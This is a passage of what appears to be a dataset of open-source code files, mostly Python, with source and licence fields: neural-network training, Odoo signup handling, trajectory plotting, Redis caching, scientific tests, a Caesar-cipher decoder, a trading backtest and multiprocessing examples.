pass\n# finally:\n# pass\n\nclass Perception(Classifier):\n \"\"\"\n \u7b80\u5355\u7684\u591a\u5c42\u611f\u77e5\u673a\u5b9e\u73b0\n \"\"\"\n def __init__(self,input_dim,n_of_classes,*args,**kwds):\n if type(input_dim) != int or type(n_of_classes) != int:\n raise TypeError(\"input_dim and n_of_classes must be int\")\n super().__init__(input_dim,n_of_classes)\n # \u521d\u59cb\u5316\u540e\u8981\u6c42\u6267\u884cbuild\u51fd\u6570\uff0c\u6765\u6784\u5efa\u6a21\u578b\n self.model = None\n\n\n def build(self,input_layer,output_layer,optimizer = \"sgd\",learning_rate = 1e-3,\\\n lossfunction = \"CrossEntropy\"):\n if input_layer.out_dim != self.input_dim:\n raise ValueError(\"input_layer dim is \",input_layer.out_dim,\\\n \" model input_dim must be\",self.input_dim)\n if output_layer.out_dim != self.n_of_classes:\n raise ValueError(\"output_layer dim is \",output_layer.out_dim,\\\n \" model output_dim must be\",self.n_of_classes)\n \n self.model = NN_Model(input_layer = input_layer,output_layer = output_layer, \\\n optimizer = optimizer,learning_rate = learning_rate,lossfunction = lossfunction)\n\n \n\n def train_on_batch(self,x_batch,y_batch):\n loss_on_batch,reg_loss_on_batch,grid_on_input = self.model.train_on_batch(x_batch,y_batch)\n return loss_on_batch,reg_loss_on_batch # ,reg_loss_on_batch,loss_on_input\n\n # @check_attributes(self.model)\n def train(self,X_train,y_train,test_set = None,batch_size = 64,epoch = 1,\\\n epoch_shuffle = True):\n # \u628a\u6bcf\u4e2a\u6837\u672c\u7684\u7279\u5f81reshape\u6210\u4e00\u4e2a\u5411\u91cf \n # X_train = np.reshape(X_train,(X_train.shape[0],-1))\n \n loss_list = []\n train_acc = []\n test_acc = []\n history = {}\n history['test_acc'] = test_acc\n history['train_acc'] = train_acc\n history['loss_list'] = loss_list\n if test_set:\n X_test = test_set[0]\n y_test = test_set[1]\n epoch_count = 0\n running_loss_on_batch = running_reg_loss_on_batch = 0\n for ep in range(epoch):\n print(\"train on epoch %d:\"%epoch_count)\n epoch_count +=1\n batch_iter = iter(MINI_BATCH_ITER(X_train,y_train,\\\n shuffle = epoch_shuffle,batch_size=batch_size))\n # build mini-batch iter\n for x_batch,y_batch in batch_iter:\n loss_on_batch,reg_loss_on_batch = self.train_on_batch(x_batch,y_batch)\n running_loss_on_batch = running_loss_on_batch*0.9+loss_on_batch*0.1\n running_reg_loss_on_batch = running_reg_loss_on_batch*0.9 + reg_loss_on_batch*0.1\n loss_list.append(running_loss_on_batch)\n print(\"\\rloss now:%.4f,reg_loss_on_batch:%.4f,sum loss: %.4f\"%(running_loss_on_batch,running_reg_loss_on_batch,\\\n running_loss_on_batch+running_reg_loss_on_batch/batch_size),end='')\n del x_batch,y_batch\n train_acc.append(self.test(X_train,y_train,put_out = False))\n if test_set:\n test_acc.append(self.test(X_test,y_test,put_out = False))\n print(\"\\n Train ACC = %.2f %%, Test ACC = %.2f %%\"%(100*train_acc[-1],\\\n 100*test_acc[-1]))\n else:\n print(\"\\n Train ACC = %.2f %%\"%(100*train_acc[-1]))\n\n print(\"==> finish training process\")\n\n return history\n \n def test(self,X_test,y_test,put_out = True):\n \"\"\"\u76f4\u63a5\u8c03\u7528predict\u8fdb\u884c\u6d4b\u8bd5\"\"\"\n n_of_test = X_test.shape[0]\n y_pred = np.argmax(self.model.forward(X_test,is_train = False),axis=1)\n acc = sum((y_pred)==np.argmax(y_test,axis=1))/n_of_test\n if put_out:\n print(\"\\n==> ACC = %.2f %%\"%(100*acc))\n return acc\n \n def predict(self,X_test,one_hot = False):\n n_of_test = X_test.shape[0]\n y_pred = self.model.forward(X_test)\n if one_hot == False:\n return np.argmax(y_pred,axis = 1) \n return y_pred\n \n", "source": "JasonGuo98/DianNeuron", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nfrom odoo import http\nfrom odoo.http import request\n\nfrom odoo.addons.auth_signup_confirmation.controllers.auth_signup_confirmation import (\n AuthConfirm,\n)\n\n\nclass AuthLead(AuthConfirm):\n @http.route(\"/web/signup/confirm\", type=\"http\", auth=\"public\")\n def singnup_using_generated_link(self, *args, **kw):\n user_state_before = (\n request.env[\"res.users\"]\n .sudo()\n .search([(\"partner_id.signup_token\", \"=\", kw[\"token\"])])\n .active\n )\n res = super(AuthLead, self).singnup_using_generated_link(*args, **kw)\n user = (\n request.env[\"res.users\"]\n .sudo()\n .search([(\"partner_id.signup_token\", \"=\", kw[\"token\"])])\n )\n if user.active and not user_state_before:\n request.env[\"crm.lead\"].sudo().create(\n {\n \"name\": user.partner_id.name,\n \"partner_id\": user.partner_id.id,\n \"contact_name\": user.partner_id.name,\n }\n )\n return res\n", "source": "ShaheenHossain/itpp-labs-misc-addons13", "license": "MIT"} {"text": "import numpy as np\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nfrom mpl_toolkits.mplot3d.art3d import Line3DCollection\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.colors import BoundaryNorm\n\n\nimport trackviz.tools\nfrom trackviz.tools import FigureAxes\n\n\ndef trajectory_2d(\n tracks,\n image=None,\n labels=None,\n color=None,\n xlim=None, ylim=None,\n cmap=None,\n cbar=False,\n cbar_width=30,\n show_points=False,\n line_kws=None,\n scat_kws=None,\n im_kws=None,\n dpi=None,\n scale=1.,\n margin=None\n):\n \"\"\"\n 2d plot of trajectories.\n\n Parameters\n ----------\n tracks : pandas.DataFrame, columns (x, y, t, trackid)\n Trajectory data. Each row in `tracks` is a point in a trajectory, where each trajectory has a unique trackid.\n image : ndarray, shape (H, W) or (H, W, 3) or (H, W, 4), optional\n Image to plot in background.\n labels : pandas.DataFrame, columns (trackid, label)\n Trajectory labels used to color trajectories if `color` == `label`. There must be a label for each trajectory\n in `tracks`. Can contain integers or strings.\n color : {None, 't', 'label'}\n Determines how trajectories are colored. If `color` == 't', color each line segment of each trajectory according\n to its t value. If `color` == 'label', color each trajectory based on its label. If `color` == None, do not\n color the trajectories.\n xlim, ylim : array_like, shape (2,) optional\n Data limits for the x and y axis. If no limits are given, they will be computed from the data.\n cmap : matplotlib colormap name or object, optional\n Colormap used to map t coordinates to colors.\n cbar : bool, optional\n Whether to draw a colorbar. Must be False if `color` == None, because no colormapping is used.\n cbar_width : int\n Width of colorbar (in pixels).\n show_points : bool, optional\n Whether to plot each trajectory as a point.\n line_kws : dict, optional\n Keyword arguments for matplotlib.collection.LineCollection.\n scat_kws : dict, optional\n Keyword arguments for ax.scatter.\n im_kws : dict, optional\n Keyword arguments for ax.imshow.\n dpi : int or None, optional\n Figure dots per inch. If None, default to matplotlib.rcParams['figure.dpi'].\n scale : float, optional\n Output size scale.\n margin : dict, keys ('left', 'right', 'bottom', 'top') , optional\n Margin between plot elements and figure. Defaults are {'left': 40, 'bottom': 40, 'right': 40, 'top': 10}.\n\n Returns\n -------\n figure : matplotlib Figure\n Figure containing trajectory plot.\n axes : matplotlib Axes\n Axes on which the trajectories are plotted.\n \"\"\"\n if not pd.Series(['x','y','t','trackid']).isin(tracks.columns).all():\n raise ValueError('tracks must have columns x, y, t, and trackid')\n if len(tracks) < 1:\n raise ValueError('tracks must have at least one row')\n if image is not None:\n if not (image.ndim == 2 or image.ndim == 3):\n raise ValueError('image must be (H, W), (H, W, 3) or (H, W, 4)')\n if image.ndim == 3 and not (image.shape[-1] == 3 or image.shape[-1] == 4):\n raise ValueError('image must be (H, W), (H, W, 3) or (H, W, 4)')\n if labels is not None and len(set(tracks['trackid']) - set(labels['trackid'])) != 0:\n raise ValueError('there must be a label for each trajectory')\n if color not in ('t', 'label', None):\n raise ValueError('color must be \"t\", \"label\", or None')\n if color == 'label' and labels is None:\n raise ValueError('labels cannot be None if color == \"label\"')\n if color is None and cbar:\n raise ValueError('cbar must be False when color == None')\n\n if labels is not None:\n labels = dict(zip(labels['trackid'], labels['label']))\n\n tracks = tracks.sort_values(['trackid', 't'])\n\n # set some default values\n dpi = matplotlib.rcParams['figure.dpi'] if dpi is None else dpi\n cmap = 'viridis' if cmap is None else cmap\n\n # set up keyword arguments\n line_kws = {} if line_kws is None else line_kws.copy()\n line_kws.setdefault('linewidths', 1.5)\n line_kws.setdefault('alpha', 0.8)\n line_kws.setdefault('zorder', 1)\n\n scat_kws = {} if scat_kws is None else scat_kws.copy()\n scat_kws.setdefault('zorder', 2)\n scat_kws.setdefault('s', 0.5)\n scat_kws.setdefault('linewidths', 0.2)\n scat_kws.setdefault('c', 'black')\n\n im_kws = {} if im_kws is None else im_kws.copy()\n\n margin = {} if margin is None else margin.copy()\n margin.setdefault('left', 0)\n margin.setdefault('bottom', 0)\n margin.setdefault('right', 25 if cbar else 0)\n margin.setdefault('top', 0)\n\n # compute x and y limits\n if xlim is None:\n xlim = (tracks['x'].min(), tracks['x'].max())\n if image is not None:\n height, width = image.shape[:2]\n xlim = (min(0, xlim[0]), max(width, xlim[1]))\n if ylim is None:\n ylim = (tracks['y'].min(), tracks['y'].max())\n if image is not None:\n height, width = image.shape[:2]\n ylim = (min(0, ylim[0]), max(height, ylim[1]))\n\n # determine size of main axes\n width, height = np.fabs(xlim[0] - xlim[1]), np.fabs(ylim[0] - ylim[1])\n axsize = (np.array((width, height)) * scale).astype(np.int)\n # print('axsize: {}'.format(axsize))\n\n grid = FigureAxes(axsize, 20, dpi, cbar, cbar_width,\n margin['left'], margin['bottom'], margin['right'], margin['top'])\n grid.ax.set_aspect('equal')\n grid.ax.axis('off')\n grid.ax.set_xlim(xlim)\n grid.ax.set_ylim(ylim[::-1]) # invert y axis\n\n # plot image\n if image is not None:\n grid.ax.imshow(image, **im_kws)\n\n # set parameters for plotting trajectories\n if color == 'label':\n tracklines, trackids = trackviz.tools.tracks_to_lines(tracks, dims=2, return_trackid=True)\n\n # use indices of sorted labels to map labels to colors\n tracklabels = np.array([labels[tid] for tid in trackids])\n label_values, tracklabel_inds = np.unique(tracklabels, return_inverse=True)\n N = len(label_values)\n\n discrete_cmap = plt.get_cmap(cmap, N)\n norm = BoundaryNorm(np.linspace(-0.5, N-0.5, N+1), N)\n\n line_kws.update(segments=tracklines, cmap=discrete_cmap, norm=norm)\n colordata = tracklabel_inds\n elif color == 't':\n tracklines = trackviz.tools.tracks_to_lines(tracks, dims=3, return_trackid=False)\n segments = np.concatenate([trackviz.tools.line_to_segments(line) for line in tracklines], axis=0)\n\n line_kws.update(segments=segments[:, :, :2], cmap=cmap)\n colordata = segments[:, 0, 2] # use t value of first point of segment to determine color of line\n else:\n tracklines = trackviz.tools.tracks_to_lines(tracks, dims=2, return_trackid=False)\n line_kws.update(segments=tracklines)\n\n # plot trajectories\n lc = LineCollection(**line_kws)\n if color == 'label' or color == 't':\n lc.set_array(colordata) # set values that will be mapped to RGBA using cmap\n grid.ax.add_collection(lc)\n\n if cbar:\n if color == 'label':\n cb = grid.ax.figure.colorbar(lc, cax=grid.cax, ticks=range(N))\n cb.set_ticklabels(label_values)\n elif color == 't':\n cb = grid.ax.figure.colorbar(lc, cax=grid.cax)\n\n # draw points\n if show_points:\n grid.ax.scatter(tracks['x'], tracks['y'], **scat_kws)\n\n return grid.fig, grid.ax\n\n\n# TODO: Add ability to draw colorbar\n# TODO: Add show_points parameter\ndef trajectory_3d(\n tracks,\n labels=None,\n color=None,\n xlim=None, ylim=None, tlim=None,\n cmap=None,\n line_kws=None,\n):\n \"\"\"\n 3d plot of trajectories.\n\n Parameters\n ----------\n tracks : pandas.DataFrame, columns (x, y, t, trackid)\n Trajectory data. Each row in `tracks` is a point in a trajectory, where each trajectory has a unique trackid.\n labels : pandas.DataFrame, columns (trackid, label)\n Trajectory labels used to color trajectories if `color` == `label`. There must be a label for each trajectory\n in `tracks`. Can contain integers or strings.\n color : {None, 't', 'label'}\n Value(s) used to color trajectories. If `color` == 't', color each line segment of each trajectory according\n to its t value. If `color == 'label', color each trajectory based on its label. If `color` == None, do not\n color the trajectories.\n xlim, ylim, tlim : list, shape (2,) optional\n Data limits for the x, y, and t axis. If no limits are given, they will be computed from the data.\n cmap : matplotlib colormap name or object, optional\n Colormap used to map t coordinates to colors. Ignored if `labels` is not None.\n line_kws : dict, optional\n Keyword arguments passed to matplotlib LineCollection.\n\n Returns\n -------\n figure : matplotlib Figure\n Figure containing trajectory plot.\n axes : matplotlib Axes\n Axes on which the trajectories are plotted.\n \"\"\"\n if not pd.Series(['x','y','t','trackid']).isin(tracks.columns).all():\n raise ValueError('tracks must have columns x, y, t, and trackid')\n if len(tracks) < 1:\n raise ValueError('tracks must have at least one row')\n if labels is not None and len(set(tracks['trackid']) - set(labels['trackid'])) != 0:\n raise ValueError('there must be a label for each trajectory')\n if color not in ('t', 'label', None):\n raise ValueError('color must be \"t\", \"label\", or None')\n if color == 'label' and labels is None:\n raise ValueError('labels cannot be None if color == \"label\"')\n\n if labels is not None:\n labels = dict(zip(labels['trackid'], labels['label']))\n\n line_kws = {} if line_kws is None else line_kws.copy()\n cmap = 'viridis' if cmap is None else cmap\n\n # compute axis limits\n xlim = xlim if xlim else [np.floor(tracks['x'].min()), np.ceil(tracks['x'].max())]\n ylim = ylim if ylim else [np.floor(tracks['y'].min()), np.ceil(tracks['y'].max())][::-1] # invert y axis\n zlim = tlim if tlim else [np.floor(tracks['t'].min()), np.ceil(tracks['t'].max())]\n\n fig = plt.figure()\n ax = fig.add_axes((0, 0, 1, 1), projection='3d')\n\n ax.set_xlim3d(xlim)\n ax.set_ylim3d(ylim)\n ax.set_zlim3d(zlim)\n\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('t')\n\n # set values needed to plot trajectories\n tracklines, trackids = trackviz.tools.tracks_to_lines(tracks, dims=3, return_trackid=True)\n if color == 'label':\n tracklabels = np.array([labels[tid] for tid in trackids])\n label_values, tracklabel_inds = np.unique(tracklabels, return_inverse=True)\n N = len(label_values)\n\n discrete_cmap = plt.get_cmap(cmap, N)\n norm = BoundaryNorm(np.linspace(-0.5, N-0.5, N+1), N)\n\n line_kws.update(segments=tracklines, cmap=discrete_cmap, norm=norm)\n colordata = tracklabel_inds\n elif color == 't':\n segments = np.concatenate([trackviz.tools.line_to_segments(line) for line in tracklines], axis=0)\n\n line_kws.update(segments=segments, cmap=cmap)\n colordata = segments[:, 0, 2] # use t value of first point of segment to determine color of line\n else:\n line_kws.update(segments=tracklines)\n\n lc = Line3DCollection(**line_kws)\n if color == 'label' or color == 't':\n lc.set_array(colordata)\n ax.add_collection3d(lc)\n\n # set aspect\n ax.set_aspect('equal') # will set aspect for x and y axes\n # _set_axes_equal(ax)\n\n return fig, ax\n\n\ndef _set_axes_equal(ax):\n \"\"\"\n This was copied from stackoverflow here: https://stackoverflow.com/a/31364297\n\n Make axes of 3D plot have equal scale so that spheres appear as spheres,\n cubes as cubes, etc.. This is one possible solution to Matplotlib's\n ax.set_aspect('equal') and ax.axis('equal') not working for 3D.\n \"\"\"\n x_limits = ax.get_xlim3d()\n y_limits = ax.get_ylim3d()\n z_limits = ax.get_zlim3d()\n\n x_range = abs(x_limits[1] - x_limits[0])\n x_middle = np.mean(x_limits)\n y_range = abs(y_limits[1] - y_limits[0])\n y_middle = np.mean(y_limits)\n z_range = abs(z_limits[1] - z_limits[0])\n z_middle = np.mean(z_limits)\n\n # The plot bounding box is a sphere in the sense of the infinity\n # norm, hence I call half the max range the plot radius.\n plot_radius = 0.5*max([x_range, y_range, z_range])\n\n ax.set_xlim3d([x_middle - plot_radius, x_middle + plot_radius])\n ax.set_ylim3d([y_middle - plot_radius, y_middle + plot_radius])\n ax.set_zlim3d([z_middle - plot_radius, z_middle + plot_radius])", "source": "marximus/trackviz", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom django.conf import settings\nfrom django_redis import get_redis_connection\nfrom uuid import uuid4\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass LatestViewedStudies(object):\n \"\"\" Interfaces with Redis to keep a list of latest viewed studies \"\"\"\n\n def __init__(self, user, n=5, *args, **kwargs):\n super(LatestViewedStudies, self).__init__(*args, **kwargs)\n self._end = n - 1\n self._redis = get_redis_connection(settings.EDD_LATEST_CACHE)\n self._user = user\n\n def __iter__(self):\n return map(self._decode, iter(self._redis.lrange(self._key(), 0, self._end)))\n\n def _key(self):\n return '%(module)s.%(klass)s:%(user)s' % {\n 'module': __name__,\n 'klass': self.__class__.__name__,\n 'user': self._user.username,\n }\n\n def _decode(self, value):\n return value.decode('utf-8')\n\n def remove_study(self, study):\n key = self._key()\n if study:\n self._redis.lrem(key, 0, study.pk)\n\n def viewed_study(self, study):\n key = self._key()\n if study:\n # Don't want to put duplicates in the list\n self._redis.lrem(key, 0, study.pk)\n # Push study pk to front of list\n self._redis.lpush(key, study.pk)\n # Trim list to size\n self._redis.ltrim(key, 0, self._end)\n\n\nclass ScratchStorage(object):\n \"\"\" Interfaces with Redis to keep scratch storage \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(ScratchStorage, self).__init__(*args, **kwargs)\n self._redis = get_redis_connection(settings.EDD_LATEST_CACHE)\n\n def _key(self, name=None):\n return '%(module)s.%(klass)s:%(name)s' % {\n 'module': __name__,\n 'klass': self.__class__.__name__,\n 'name': uuid4() if name is None else name,\n }\n\n def delete(self, key):\n self._redis.delete(key)\n\n def load(self, key):\n return self._redis.get(key)\n\n def save(self, data, name=None, expires=None):\n key = self._key(name)\n expires = 60 * 60 * 24 if expires is None else expires\n self._redis.set(key, data, nx=True, ex=expires)\n return key\n", "source": "TeselaGen/jbei-edd", "license": "BSD-3-Clause-LBNL"} {"text": "from rest_framework.exceptions import APIException\n\nfrom revibe._errors import network\nfrom revibe._helpers import const, status\n\n# -----------------------------------------------------------------------------\n\nclass InvalidPlatformContent(network.ProgramError):\n default_detail = \"Invalid platform content\"\n\nclass InvalidPlatformOperation(Exception):\n pass\n\nclass PlatformNotFoundError(network.BadRequestError):\n default_detail = \"The requested platform does not exist\"", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "\nfrom floodsystem.geo import stations_by_distance, rivers_by_station_number\nfrom haversine import haversine\nfrom floodsystem.stationdata import build_station_list\nfrom floodsystem.geo import rivers_with_station\nfrom floodsystem.geo import stations_by_river\nfrom floodsystem.geo import stations_within_radius\nfrom floodsystem.station import inconsistent_typical_range_stations\n\n# Build list of stations\nstations = build_station_list()\n\n#Task 1B\n\ndef test_stations_by_distance():\n result = stations_by_distance(stations, p=(0,0))\n for i in range(1, len(result)):\n x = result[i]\n y = result[i-1]\n assert x[2] >= y[2]\n\n# Testing Task C: Are all the outputted stations within 10 km of the city centre\ndef test_stations_within_radius():\n stations = build_station_list()\n reference_coordinate = (52.2053, 0.1218)\n lol = stations_within_radius(stations,reference_coordinate,10)\n for i in stations:\n for a in lol:\n if i.name == a:\n assert haversine(reference_coordinate, i.coord) <= 10\n\n#Testing Task D: Do all rivers outputted have at least 1 station?\ndef test_rivers_with_station():\n stations = build_station_list()\n r = rivers_with_station(stations)\n assert len(r) == 857\n for i in stations:\n for j in r:\n a = 0\n if i.river == j:\n a = a+1\n assert a>= 1\n#Testing Task D: Are all the stations outputted situated on the desired rivers?\ndef test_stations_by_river():\n stations = build_station_list()\n r1 = stations_by_river(stations)\n g1 = r1[\"River Aire\"]\n g2 = r1['River Cam']\n g3 = r1['River Thames']\n for i in stations:\n for j in g1:\n if i.name == g1:\n assert i.river == \"River Aire\"\n for k in g2:\n if i.name == g2:\n assert i.river == \"River Cam\"\n for l in g3:\n if i.name == g3:\n assert i.river == \"River Thames\"\n\n#Task 1E\ndef test_rivers_by_station_number():\n N = 9\n result = rivers_by_station_number(stations, N)\n assert len(result) >= 9\n\n if len(result) == N:\n for n in range(len(result)-1):\n x = result[n]\n y = result[n+1]\n assert x[1] >= y[1]\n elif len(result) > N:\n for n in range(N-1):\n x = result[n]\n y = result[n+1]\n assert x[1] >= y[1]\n for n in range(N, len(result)-1):\n x = result[n]\n y = result[n+1]\n assert x==y\n\n\n# Testing Task F: Do all outputted stations have inconsistent range data\ndef test_inconsistent_typical_range_stations():\n stations = build_station_list()\n r2 = inconsistent_typical_range_stations(stations)\n for i in stations:\n for j in r2:\n if i.name == j:\n assert i.typical_range == None or i.typical_range[1] - i.typical_range[0] < 0\n\n\n\n\n\n \n\n\n\n", "source": "VarunBabbar/Flood-Warning-System-", "license": "MIT"} {"text": "'''\r\nThis module provides access to the MDTraj density function using a MDTraj Trajectory.\r\n'''\r\n\r\nfrom .models import Component\r\nimport mdtraj\r\nimport numpy\r\nfrom typing import Tuple\r\n\r\n# def mdtraj_density(trajectory_file: str) -> numpy.ndarray:\r\n # '''\r\n # This method provides easy access to MDTraj's density function.\r\n # '''\r\n # trajectory = mdtraj.load_pdb(trajectory_file)\r\n # return mdtraj.density(trajectory)\r\n \r\nclass DensityComponent(Component):\r\n '''\r\n A component to calculate the Density.\r\n '''\r\n trajectory: mdtraj.Trajectory\r\n \r\n def __init__(self, trajectory: mdtraj.Trajectory, top: mdtraj.Trajectory = None, sel: str = 'all'):\r\n self.trajectory = trajectory\r\n self.top = top\r\n self.sel = sel\r\n \r\n def process_input(self, trajectory, top: mdtraj.Trajectory = None, sel: str='all'):\r\n self.traj = trajectory\r\n\r\n indices = self.traj.top.select(sel)\r\n self.traj = self.traj.atom_slice(indices)\r\n \r\n if top:\r\n self.ref = top.atom_slice(indices)\r\n\r\n return self.traj\r\n \r\n def compute(self) -> Tuple[numpy.ndarray, numpy.ndarray]:\r\n masses = numpy.array([atom.element.mass for atom in self.traj.top.atoms])\r\n return self.traj.time, mdtraj.density(self.traj, masses)\r\n \r\n def run(self, trajectory: mdtraj.Trajectory, top: mdtraj.Trajectory = None, sel: str='all'):\r\n self.process_input(trajectory, top, sel)\r\n return self.compute()\r\n", "source": "Lnaden/mminterconcept", "license": "MIT"} {"text": "encrypted_string = 'OMQEMDUEQMEK'\n\nfor i in range(1,27):\n temp_str = \"\"\n for x in encrypted_string:\n int_val = ord(x) + i\n if int_val > 90:\n # 90 is the numerical value for 'Z'\n # 65 is the numerical value for 'A'\n # If int_val is greater than Z then \n # the number is greater then 90 then \n # we must again count the difference \n # from A.\n int_val = 64 + (int_val - 90)\n temp_str += chr(int_val) \n print(f\"{i} {temp_str}\")", "source": "draggers21/draggers21.github.io", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\n'''\nAuthor: www.backtest-rookies.com\n\nMIT License\n\nCopyright (c) 2017 backtest-rookies.com\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n'''\n# SQN ranking system\n# 1.6 \u2013 1.9 Below average\n# 2.0 \u2013 2.4 Average\n# 2.5 \u2013 2.9 Good\n# 3.0 \u2013 5.0 Excellent\n# 5.1 \u2013 6.9 Superb\n# 7.0 \u2013 Holy Grail?\n\n\nimport backtrader as bt\nfrom datetime import datetime\n\nclass firstStrategy(bt.Strategy):\n\n def __init__(self):\n self.rsi = bt.indicators.RSI_SMA(self.data.close, period=21)\n\n def next(self):\n if not self.position:\n if self.rsi < 30:\n self.buy(size=100)\n else:\n if self.rsi > 70:\n self.sell(size=100)\n\n\ndef printTradeAnalysis(analyzer):\n '''\n Function to print the Technical Analysis results in a nice format.\n '''\n #Get the results we are interested in\n total_open = analyzer.total.open\n total_closed = analyzer.total.closed\n total_won = analyzer.won.total\n total_lost = analyzer.lost.total\n win_streak = analyzer.streak.won.longest\n lose_streak = analyzer.streak.lost.longest\n pnl_net = round(analyzer.pnl.net.total,2)\n strike_rate = (total_won / total_closed) * 100\n #Designate the rows\n h1 = ['Total Open', 'Total Closed', 'Total Won', 'Total Lost']\n h2 = ['Strike Rate','Win Streak', 'Losing Streak', 'PnL Net']\n r1 = [total_open, total_closed,total_won,total_lost]\n r2 = [strike_rate, win_streak, lose_streak, pnl_net]\n #Check which set of headers is the longest.\n if len(h1) > len(h2):\n header_length = len(h1)\n else:\n header_length = len(h2)\n #Print the rows\n print_list = [h1,r1,h2,r2]\n row_format =\"{:<15}\" * (header_length + 1)\n print(\"Trade Analysis Results:\")\n for row in print_list:\n print(row_format.format('',*row))\n\ndef printSQN(analyzer):\n sqn = round(analyzer.sqn,2)\n print('SQN: {}'.format(sqn))\n\n#Variable for our starting cash\nstartcash = 100000\n\n#Create an instance of cerebro\ncerebro = bt.Cerebro()\n\n#Add our strategy\ncerebro.addstrategy(firstStrategy)\n\n#Get Apple data from Yahoo Finance.\ndata = bt.feeds.YahooFinanceData(\n dataname='AAPL',\n fromdate = datetime(2009,1,1),\n todate = datetime(2017,1,1),\n buffered= True\n )\n\n#Add the data to Cerebro\ncerebro.adddata(data)\n\n# Set our desired cash start\ncerebro.broker.setcash(startcash)\n\n# Add the analyzers we are interested in\ncerebro.addanalyzer(bt.analyzers.TradeAnalyzer, _name=\"ta\")\ncerebro.addanalyzer(bt.analyzers.SQN, _name=\"sqn\")\n\n# Run over everything\nstrategies = cerebro.run()\nfirstStrat = strategies[0]\n\n# print the analyzers\nprintTradeAnalysis(firstStrat.analyzers.ta.get_analysis())\nprintSQN(firstStrat.analyzers.sqn.get_analysis())\n\n#Get final portfolio Value\nportvalue = cerebro.broker.getvalue()\n\n#Print out the final result\nprint('Final Portfolio Value: ${}'.format(portvalue))\n\n#Finally plot the end results\ncerebro.plot(style='candlestick')", "source": "harshabakku/live-back-testing-trader", "license": "MIT"} {"text": "'''test_data_processing_generalstuff.py - Joshua Wallace - Mar 2019\n\nThis tests classes and methods in the data_processing.py file,\nusing the Lomb-Scargle method.\n'''\n\nimport unittest\nimport sys, os\nsys.path.insert(1,os.path.abspath('../src'))\nimport data_processing as dproc\nimport numpy as np\n\n\nclass test_data_processing_init(unittest.TestCase):\n\n def setUp(self):\n pass\n\n def test_lc_collection_setup(self):\n # Test initialization of the lc_collection_for_processing class\n self.assertIsInstance(dproc.lc_collection_for_processing(1.),\n dproc.lc_collection_for_processing)\n\n def test_periodsearch_results_setup(self):\n #Test initialization of the periodsearch_results class\n self.assertIsInstance(dproc.periodsearch_results('1'),\n dproc.periodsearch_results)\n\n\nclass test_warning_median_filter(unittest.TestCase):\n\n def setUp(self):\n self.col = dproc.lc_collection_for_processing(1.,n_control_workers=1)\n sample_len_1 = 3000\n t1 = np.linspace(0,1200,sample_len_1)\n self.col.add_object(t1,[10.]*sample_len_1,[1.]*sample_len_1,0.,0.,'o1')\n self.col.add_object(t1,[11.]*sample_len_1,[1.]*sample_len_1,0.,1.,'o2')\n\n ## LS run\n with self.assertWarns(UserWarning):\n col.run_ls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,\n freq_window_epsilon_mf=1)\n\n with self.assertWarns(UserWarning):\n col.run_ls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,median_filter_size=1)\n\n # PDM run\n with self.assertWarns(UserWarning):\n col.run_pdm(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,\n freq_window_epsilon_mf=1)\n\n with self.assertWarns(UserWarning):\n col.run_pdm(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,median_filter_size=1)\n\n # BLS run\n with self.assertWarns(UserWarning):\n col.run_bls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,\n freq_window_epsilon_mf=1)\n\n with self.assertWarns(UserWarning):\n col.run_bls(startp=10.,endp=11.,stepsize=0.1,autofreq=False,\n medianfilter=False,median_filter_size=1)\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n unittest.main()\n\n", "source": "simpledeblendorganization/simple_deblend", "license": "MIT"} {"text": "# import os\n# import time\n# # linux exec\n# pid = os.fork()\n#\n# print('hello')\n#\n# if pid == 0:\n# print(os.getpid(), os.getppid())\n# else:\n# print(pid)\n#\n# time.sleep(2)\nimport multiprocessing\nfrom multiprocessing import Process\nimport time\n\n\ndef read(h):\n time.sleep(h)\n print('read ///')\n return h\n\n\nif __name__ == '__main__':\n # print(multiprocessing.cpu_count())\n # process = Process(target=read, args=(2,))\n # print(process.pid)\n #\n # process.start()\n # print(process.pid)\n # process.join()\n # print('end///')\n # print(process.pid)\n\n pool = multiprocessing.Pool(multiprocessing.cpu_count())\n # res = pool.apply_async(read, args=(2,))\n # pool.close()\n # pool.join()\n # print(res.get())\n\n for r in pool.imap(read, [1, 2, 3, 4]):\n print(r)\n\n for r in pool.imap_unordered(read, [1, 5, 3, 4]):\n print(r)\n", "source": "lishulongVI/Ilhabela", "license": "MIT"} {"text": "# project\nfrom .conf import settings\nfrom .compat import user_is_authenticated, get_resolver\nfrom .utils import get_request_uri\n\nfrom ...constants import ANALYTICS_SAMPLE_RATE_KEY\nfrom ...contrib import func_name\nfrom ...ext import SpanTypes, http\nfrom ...internal.logger import get_logger\nfrom ...propagation.http import HTTPPropagator\nfrom ...settings 